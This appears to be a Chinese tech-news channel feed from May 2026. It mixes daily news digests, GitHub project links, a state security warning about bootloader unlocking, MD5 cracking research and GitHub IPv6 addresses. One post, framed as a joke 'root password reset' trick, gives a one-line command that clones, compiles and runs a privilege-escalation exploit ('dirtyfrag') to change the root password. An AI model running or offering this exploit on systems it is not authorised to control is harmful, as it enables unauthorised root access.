国家安全部：刷机需谨慎，安全不能丢
Telegraph
刷机需谨慎，安全不能丢
近期，某手机芯片厂商相关漏洞被不法分子定向利用，给网上热炒的“秒解BL锁”行为敲响了警钟。所谓BL，是Bootloader（引导加载程序）的简称，好比手机自带的“官方防盗门”，是手机开机后最先运行的底层程序，负责验证并加载操作系统。而解锁相当于主动拆掉这扇门，以获得“刷机”自由。但“秒解”的捷径，可能成为别有用心之人窃取数据、安装木马的“后门”，需要我们提高警惕、谨慎操作。
- ❤️1
- 👍1
OKHK 👀
- AI API 中转代理，智能回退，自动路由到免费 / 便宜的 AI 模型
https://github.com/decolua/9router
#Free #AI #GitHubGitHubGitHub - decolua/9router: Unlimited FREE AI coding. Connect Claude Code, Codex, Cursor, Cline, Copilot, Antigravity to FREE Claude/GPT/Gemini…Unlimited FREE AI coding. Connect Claude Code, Codex, Cursor, Cline, Copilot, Antigravity to FREE Claude/GPT/Gemini via 40+ providers. Auto-fallback, RTK -40% tokens, never hit limits. - decolua/9r... - 一觉醒来发生了什么 05 月 09 日
#Daily
2026 年 5 月 9 日
🌍 资讯快读
1、非法获取个人信息 9 亿余条用来“开盒”网暴，两被告人获刑
https://www.jiemian.com/article/14398058.html
2、提供超 4000 个就业岗位，首届央企面向退役军人专场招聘活动启动
https://www.jiemian.com/article/14397244.html
3、刘诗雯再度当选国际乒联运动员委员会委员
https://www.jiemian.com/article/14396944.html
4、阿根廷拒绝重新加入世卫组织
https://www.jiemian.com/article/14399773.html
👬 即刻镇小报
1、关于 AI Coding 和 Harness 最近写的一些内容
https://m.okjike.com/originalPosts/69fc1813e52185ce9cf1e5f4
2、我的失业小日常
https://m.okjike.com/originalPosts/69fb15f97f82528246f306d1
3、最近发现不少和读书相关的 Skill / MCP
https://m.okjike.com/originalPosts/69fb0ede737260b8dbcfc6db
4、普通人如何长寿
https://m.okjike.com/originalPosts/69f93117e1c95f47b02bffba
今日即刻镇小报内容来自 @Barret 李靖 @胭惜雨 @空格 _ @钱钰 ，感谢以上即友的创作与分享。界面新闻非法获取个人信息9亿余条用来“开盒”网暴，两被告人获刑今天（5月8日），最高人民法院发布侵犯公民个人信息犯罪及关联犯罪典型案例，其中有一件涉及“开盒”网暴，两名被告人竟然非法获取公民个人信息数据9亿余条；另一件是被告人利用木马程序获取29万余条注射HPV（人乳头瘤病毒）疫苗的女性信息，用于精准实施电信诈骗。 - 🖼 克尔卡的造物主
#Bing_Wallpaper
克尔卡的造物主
克尔卡国家公园的斯克拉丁斯基布克瀑布, 克罗地亚 (© Amazing Aerial Agency/Adobe Stock)
4K | 1080P - 美国战争部今天宣布启用 WAR.GOV/UFO 专属网页，用于实时获取不明异常现象（UAP）文件发布的最新动态。
这是“总统对 UAP 遭遇事件解密与报告系统（PURSUE）”计划的一部分，部门涵盖了白宫、国家情报总监办公室（ODNI）、能源部（DOE）、战争部下属的全领域异常解密办公室（AARO）、国家航空航天局（NASA）、联邦调查局（FBI）以及美国情报机构的其他组成部分。
相关档案将汇集在 WAR.GOV/UFO 网站上，目前首批资料已经发布。 - 🤣3
- 😁1
- 六成 MD5 密码能在一小时内破解
#加密技术
卡巴斯基研究人员发现，如果你有一块英伟达 RTX 5090 显卡，那么六成 MD5 哈希密码可在一小时内破解，48% 的密码甚至能在一分钟内破解。如果泄露的密码使用的是 MD5 之类的哈希算法，那么密码基本可以认为被暴露了。研究人员分析了逾 2 亿个泄露的密码，发现攻击者可利用常见模式优化破解算法，显著缩短猜测密码字符组合的时间。研究人员称破解速度加快主要归功于 GPU，GPU 的性能一直在进步，但密码的安全性则没什么变化。
https://www.theregister.com/security/2026/05/07/60-of-md5-password-hashes-are-crackable-in-under-an-hour/5234954 - Hexo 维护者误将 Hexo repo 设置为 private；现已恢复。
Watcher 和 Stargazer 均已丢失；订户如果想的话可以重新 watch/star。
gh:hexojs#5775
[感谢宝硕提供此消息。]
#HexoGitHub
Apology for Repository Visibility Changes That Caused Stars Disappeared · hexojs · Discussion #5775Hi everyone, I want to sincerely apologize for the accidental changes of visibility from public to private in our important repository hexojs/hexo earlier today. Which means we lost all watchers, a... - 这太尴尬了。
附件 A - 2025 年 9 月 - “助力构建未来” - Cloudflare 招聘 1111 名实习生“助力构建未来” [ https://blog.cloudflare.com/cloudflare-1111-intern-program/ ]
附件 B - 2026 年 5 月 - “面向未来” - Cloudflare 裁员 1100 人，约占其员工总数的 20%，以“继续构建未来” [ https://blog.cloudflare.com/building-for-the-future/ ]
最后，我想引用尤吉·贝拉的一句话：“未来已非昔日模样。”
https://news.ycombinator.com/item?id=48054423Cloudflare Blog
Help Build the Future: Announcing Cloudflare’s Goal to Hire 1,111 Interns in 2026We are incredibly excited to announce our most ambitious intern program yet: Cloudflare aims to hire as many as 1,111 interns over the course of 2026.
#Linux root 密码重置大法 🤣（信创机器不给 root 密码的有救了git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && chmod +x ./exp && ./exp passwd root- 🤣3
- 😁1
- 🤩1
浏览器中的 Web 视频剪辑工具，本地处理无需上传云端，CapCut 的开源替代
https://github.com/Augani/openreel-video
#Video #Tool #GitHubGitHub
GitHub - Augani/openreel-video: OpenReel Video - Professional browser-based video editor. Open source CapCut alternative. 100%…OpenReel Video - Professional browser-based video editor. Open source CapCut alternative. 100% browser-based, no installation, no cloud uploads, no watermarks. - Augani/openreel-video- GitHub IPv6 访问
https://www.nodeseek.com/post-531425-12a01:4f8:c010:d56::2 github.com 2a01:4f8:c010:d56::3 api.github.com 2a01:4f8:c010:d56::4 codeload.github.com 2a01:4f8:c010:d56::6 ghcr.io 2a01:4f8:c010:d56::7 pkg.github.com npm.pkg.github.com maven.pkg.github.com nuget.pkg.github.com rubygems.pkg.github.com 2a01:4f8:c010:d56::8 uploads.github.com 2606:50c0:8000::133 objects.githubusercontent.com www.objects.githubusercontent.com release-assets.githubusercontent.com gist.githubusercontent.com repository-images.githubusercontent.com camo.githubusercontent.com private-user-images.githubusercontent.com avatars0.githubusercontent.com avatars1.githubusercontent.com avatars2.githubusercontent.com avatars3.githubusercontent.com cloud.githubusercontent.com desktop.githubusercontent.com support.github.com 2606:50c0:8000::154 support-assets.githubassets.com github.githubassets.com opengraph.githubassets.com github-registry-files.githubusercontent.com github-cloud.githubusercontent.comNodeSeek让纯IPV6小鸡也能使用GITHUB2052年了，github还是不支持ipv6访问。由于komari-agent安装需要访问github，查找方法的时候，偶然发现了一篇文章：https://danwin1210.de/github-ipv6-proxy.php，其中总结有github已提供ipv6访问、但未加入DNS解析的站点地址。具体食用方法如下 - 一觉醒来发生了什么 05 月 08 日
#Daily
2026 年 5 月 8 日
🌍 资讯快读
1、中国红十字系统 2025 年调拨救灾款物超 4 亿元
https://www.jiemian.com/article/14394080.html
2、TikTok 获批泰国 250 亿美元数据中心扩建计划
https://www.jiemian.com/article/14391708.html
3、八部门发文改革完善儿童用药供应保障，破解儿童用药难
https://www.jiemian.com/article/14394329.html
4、30 年前捐赠书画部分去向不明？天津美院回应
https://www.jiemian.com/article/14393173.html
👬 即刻镇小报
1、字最少，文案劲最大
https://m.okjike.com/originalPosts/69f57a42c2dc8bf83fd35ac5
2、看完刷手机的欲望彻底消失了
https://m.okjike.com/originalPosts/69f74dc0b955e4c0a2b93860
3、Vibe Coding 是一种无限游戏
https://m.okjike.com/originalPosts/69f43556af7695b4cf9fac0b
4、南极洛，想要再去一万次的地方
https://m.okjike.com/originalPosts/69f722a6af7695b4cfe527a3
今日即刻镇小报内容来自 @Zephyr. @唐夕 _JwPF @Szhans @泡泡啊泡泡 ，感谢以上即友的创作与分享。界面新闻中国红十字系统2025年调拨救灾款物超4亿元据中国红十字会，2025年全国红十字系统高效处置地震洪涝等各类灾害，累计启动应急响应228次，紧急救援、转移安置和灾后重建投入款物超4亿元。同时健全防灾减灾协作机制，年度应急救护培训超621万人次，累计配置AED8.6万余台，在北京、深圳等8个城市试点开展“车载AED志愿服务”项目，营运车辆变身为“流动的应急响应单元”。（央视新闻）
